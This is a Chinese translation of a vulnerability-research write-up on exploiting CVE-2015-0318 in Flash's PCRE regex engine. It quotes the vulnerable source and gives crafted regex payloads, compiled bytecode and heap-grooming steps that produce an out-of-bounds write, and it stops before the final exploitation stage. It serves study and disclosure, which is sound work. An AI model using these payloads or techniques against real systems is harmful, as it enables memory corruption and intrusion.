在Flash中利用PCRE正則式漏洞CVE-2015-0318的方法

wyzsk發表於2020-08-19
作者: blast · 2015/03/02 10:49

0x00 前言


標題:(^Exploiting)\s(CVE-2015-0318)\s(in)\s*(Flash$) 作者:Mark Brand

issue 199/PSIRT-3161/CVE-2015-0318

簡要概述:Flash使用的PCRE正則式解析引擎(https://github.com/adobe-flash/avmplus/tree/master/pcre, 請注意公開的avmplus程式碼早已過期,他之前有的許多其他漏洞已經被Adobe修復,所以審計這段程式碼可能會比較讓人灰心)。

注:明顯這個引擎是有漏洞的,從上面的issue頁面可以看到漏洞的相關資訊。

0x01 背景


#!c
/* For \c, a following letter is upper-cased; then the 0x40 bit is flipped.
This coding is ASCII-specific, but then the whole concept of \cx is
ASCII-specific. (However, an EBCDIC equivalent has now been added.) */

case 'c':     <---- There’s no check to see if we’re in UTF8 mode
c = *(++ptr); <---- This could be part of a multibyte unicode character
if (c == 0)
{
   *errorcodeptr = ERR2;
   break;
}

#ifndef EBCDIC  /* ASCII coding */
   if (c >= 'a' && c <= 'z') c -= 32;
   c ^= 0x40;
#else           /* EBCDIC coding */
   if (c >= 'a' && c <= 'z') c += 64;
   c ^= 0xC0;
#endif
   break;

以下就是當我們把轉義符\c(匹配1個ASCII字串, 譯註:ANSI字元)和一個多位元組的UTF-8字元合在一起的結果,我們可以簡單的用“\c\xd0\x80+”來觸發bug,如下:

\cЀ+(?1)

編譯後會是如下位元組碼:

0000 5d0009      93 BRA              [9]
0003 1bc290      27 CHAR             ['\xc2\x90']
0006 201b        32 PLUS             ['\x1b']
0008 80         128 INVALID
0009 540009      84 KET              [9]
000c 00           0 END  

很明顯這裡有東西出錯了,但是問題是如何才能讓這個無效的位元組碼變成任意程式碼執行。很不幸,如果我們就拿這個無效的位元組碼來比較的話,結果就是匹配失敗,然後退出匹配的過程,不會有什麼其他的動作。

但是還有希望,pcre_compile.cpp提供了一些附加選項,我使用的是find_brackets,它會從當前的位元組碼迭代到末尾,而且有一個相對寬鬆的default case(譯註:switch的case default:塊),這個case會定位(並填充一個偏移量到)一個有序組,所以也許使用這個會導致一些奇怪的記憶體損壞或者讓PCRE位元組碼有區別於一般位元組碼執行起來。

所以我們看看這個例子,新增一個回溯引用:

\c?0?4+(?1)

我們可以看到這一行(https://github.com/adobe-flash/avmplus/blob/master/pcre/pcre_compile.cpp#L1635),'c'被設定成無效的操作碼:0x80:

#!c
/* Add in the fixed length from the table */
code += _pcre_OP_lengths[c][/c];

現在,_pcre_OP_lengths是一個全域性陣列了,0x80這個偏移稍稍跨過了陣列的末尾。這個倒是很方便,因為這個定位到了一組將被用來國際化的字串陣列前面(在Windows和Linux上都是這樣)。在每個Flash版本中,我們獲得到的偏移都是110(明顯比有效的操作碼的長度要長),所以如果我們能修改一下堆,那麼我們就可以將程式碼的指標從分配的位元組碼快取中移動到我們控制的資料中。我們只需要重新操作一下,讓find_bracket將位元組碼匹配到我們所需的那段快取中,然後我們就可以寄希望於它,讓它來幫助我們執行惡意程式碼了。

我們遇到了一個小小的問題:位元組碼的匹配器在遇到無效位元組碼的時候會退出匹配過程。解決方案是:可以用括號把它們包起來,讓他們成為一個可選組:

(\c?0?4+)?(?2)

透過為組2合理的安排快取,我們可以成功地將編譯器編譯成:

LEGITIMATE HEAP BUFFER
0000 5d001b      93 BRA              [27]
0003 66         102 BRAZERO          
0004 5e000b0001  94 CBRA             [11, 1]
0009 1bc290      27 CHAR             ['\xc2\x90']
000c 201b        32 PLUS             ['\x1b']
000e 80         128 INVALID          
000f 54000b      84 KET              [11]
0012 5c0006      92 ONCE             [6]
0015 510083      81 RECURSE          [131]    <---- this 131 is the bytecode index to recurse to (131 == 0x83, at the start of our groomed heap buffer)
0018 540006      84 KET              [6]
001b 54001b      84 KET              [27]
001e 00           0 END              
…
GROOMED HEAP BUFFER
0083 5e00880002  94 CBRA             [136, 2]
0088 540088      84 KET              [136]

當我們執行這段正規表示式的時候,看起來事事順利,因為我們需要執行的路徑是:

0000 5d001b      93 BRA              [27]
0003 66         102 BRAZERO          
0004 5e000b0001  94 CBRA             [11, 1]
0009 1bc290      27 CHAR             ['\xc2\x90']   <---- Fail, backtrack
0015 510083      81 RECURSE          [131]          
0083 5e00880002  94 CBRA             [136, 2]       <---- Now executing inside our groomed heap buffer
0088 540088      84 KET              [136]
0018 540006      84 KET              [6]
001b 54001b      84 KET              [27]
001e 00           0 END

所以,現在我們可以在調整過的堆緩衝區中歡樂地將任意正規表示式位元組碼插入我們的CBRA和KET中間。

PCRE位元組碼直譯器令人驚訝的健壯,因此也讓我找了很久才發現一個有用的記憶體損壞點。直譯器中的主要的記憶體訪問程式碼都做過有效性檢查,如果他沒有做的這麼完美(但是還是有很多跨界讀的機會,但是現在我們需要的是寫許可權),我們很可能早就用一個跨界寫讓它能做更多事情。

這就是這段有趣的程式碼,在處理CBRA的過程中有一個對組數的錯誤架設,程式碼如下(來自pcre_exec.cpp,做過美化,移除了一下debug程式碼)

#!c
case OP_CBRA:
case OP_SCBRA:
   number = GET2(ecode, 1 + LINK_SIZE); <---- we control number
   offset = number << 1;                <---- we control offset

   if (offset < md->offset_max)         <---- bounds check that offset within offset_vector
   {
       save_offset3       = md->offset_vector[md->offset_end - number]; <---- we control number, so if number is 0, we index at md->offset_end, which is one past the end of the array

       save_capture_last  = md->capture_last;

       if (ES3_Compatible_Behavior)   // clear all matches for groups > than this one
       {                              //  (we only really need to reset all enclosed groups, but
                                      //  covering all groups > this is harmless because
                                      //  we interpret from left to right)

           savedElems = (offset_top > offset ? offset_top - offset : 2);

           if (savedElems > frame->XoffsetStackSaveMax)
           {
               if (frame->XoffsetStackSave != frame->XoffsetStackSaveStg)
               {
                   (pcre_free)(frame->XoffsetStackSave);
               }

               frame->XoffsetStackSave = (int *)(pcre_malloc)(savedElems * sizeof(int));

               if (frame->XoffsetStackSave == NULL)
               {
                   RRETURN(PCRE_ERROR_NOMEMORY);
               }

               frame->XoffsetStackSaveMax = savedElems;
           }

           VMPI_memcpy(offsetStackSave, md->offset_vector + offset, (savedElems * sizeof(int)));

           for (int resetOffset = offset + 2; resetOffset < offset_top; resetOffset++)
           {
               md->offset_vector[resetOffset] = -1;
           }
       }
       else
       {
           offsetStackSave[1] = md->offset_vector[offset];
           offsetStackSave[2] = md->offset_vector[offset + 1];
           savedElems         = 0;
       }

       md->offset_vector[md->offset_end - number] = eptr - md->start_subject;  <---- even better, we write the current length of the match there; this is becoming interesting.

所以,我們可以將我們控制的一個DWORD寫入offset_vector之後,當這麼做的時候,通常offset_vector是RegExpObject.cpp中分配的一個棧上快取:

#!c
ArrayObject* RegExpObject::_exec(Stringp subject,
                            StIndexableUTF8String& utf8Subject,
                            int startIndex,
                            int& matchIndex,
                            int& matchLen)
{
    AvmAssert(subject != NULL);

    int ovector[OVECTOR_SIZE];  <--
    int results;
    int subjectLength = utf8Subject.length();

這樣就不是很有趣了,我們多寫的一個DWORD其實沒啥用--我沒有看,但是現代的編譯器都會做變數重排序和安全Cookie,所以這樣做幾乎沒有什麼用。但是我們有一個更簡單的方式,這個例子裡面我們會用更多的匹配組,這些組的數量比要填充進的快取數量還要大,這時PCRE會在堆上分配一個合適大小的快取。(譯註:意思是原先分配在棧上的空間不夠大,所以程式又會在堆上分配一片記憶體,保證操作可以正常執行)

#!c
/* If the expression has got more back references than the offsets supplied can
hold, we get a temporary chunk of working store to use during the matching.
Otherwise, we can use the vector supplied, rounding down its size to a multiple
of 3. */

ocount = offsetcount - (offsetcount % 3);

if (re->top_backref > 0 && re->top_backref >= ocount / 3)
{
    ocount = re->top_backref * 3 + 3;

    md->offset_vector = (int *)(pcre_malloc)(ocount * sizeof(int));
    if (md->offset_vector == NULL)
    {
        return PCRE_ERROR_NOMEMORY;
    }

    using_temporary_offsets = TRUE;
    DPRINTF(("Got memory to hold back references\n"));
}
else
{
    md->offset_vector = offsets;
}

md->offset_end = ocount;
md->offset_max = (2 * ocount) / 3;
md->offset_overflow = FALSE;
md->capture_last = -1;

贊,好事成雙。當分配大小大於99*4=396位元組時,我們可以差不多控制一個堆建立之後的一個DWORD了。由於我們需要的是寫入分配區域之後,所以看看Flash的堆分配器,它告訴我們,504位元組是我們準確匹配到的第一個區域的大小,所以我們需要 md->top_backref == 41 這麼大來獲得這個數字。這個簡單,只要我們加一堆捕獲組和回溯引用即可。

(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)\41(\c?0?4+)?(?43)

另一個我們將要碰到的問題是Flash並不會校驗正規表示式是否編譯成功,如果我們第一個堆分配失敗的話,find_bracket將不會找到一個匹配該組的資料,因此編譯也會失敗當除錯的時候這個是相當複雜的,所以我們可以在開頭加一個常量,這樣我們就能用它來測試是否編譯成功了。

(c01db33f|(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)\41(\c?0?4+)?(?70))

像我們之前提到的一樣,我們需要一次堆分配來讓我們的程式碼正好位於從我們提供的正則式中編譯出的位元組碼的快取位置之後。為了更簡單一些,我們會把正則式貼到快取後面,這樣對Flash的堆分配器來說,這就又是一個不錯的數字了,下一個可用單元是576位元組,每個字元匹配增加2個位元組。

(c01db33f|(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)\41AAAAAAAAAAAAAAAAAAAAAAAAAAA(\c?0?4*)?(?70))

我們需要透過更多的修改來讓這個將當前匹配的長度複寫問題產生作用,所以我們需要有更簡單的方式來控制它。我們可以調整第一組來讓匹配任意個數的不同字元,如下:

(c01db33f|(B*)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)(A)\41AAAAAAAAAAAAAAAAAAAAAAAAAAA(\c?0?4*)?(?70))

注:漏洞程式碼中,我們會在選定的字元裡面隨意替換B,原因是Flash會快取編譯的正則式,無論成功與否都會,如果我們的分配失敗了,我們還是需要強制它重新編譯正則的。

所以,這就意味著漏洞最初的編譯處理工作已經完成了。我們已經知道如何透過這個跨界寫的位元組碼payload,是:

0000 5e00010046  94 CBRA             [1, 70]
0005 5e00000000  94 CBRA             [0, 0]
000a 6d         109 ACCEPT

為了成功寫入,最後的ACCEPT是必須的,我們需要讓組0成為一個匹配項,ACCEPT將強行完成這個動作,而且還有個好處是它使用的位元組碼最少。

現在,如果你一路看下來,可能覺得這個東西實在是麻煩。在許多情況下,這差不多就是漏洞的開始:我們控制了分配的大小,而且我們把我們的匹配項的長度寫到了它的末尾,雖然說要覆寫一個指標是個相當煩人的事情。但是好訊息是在Flash中有一個一了百了的解決反感:Vector.

相關文章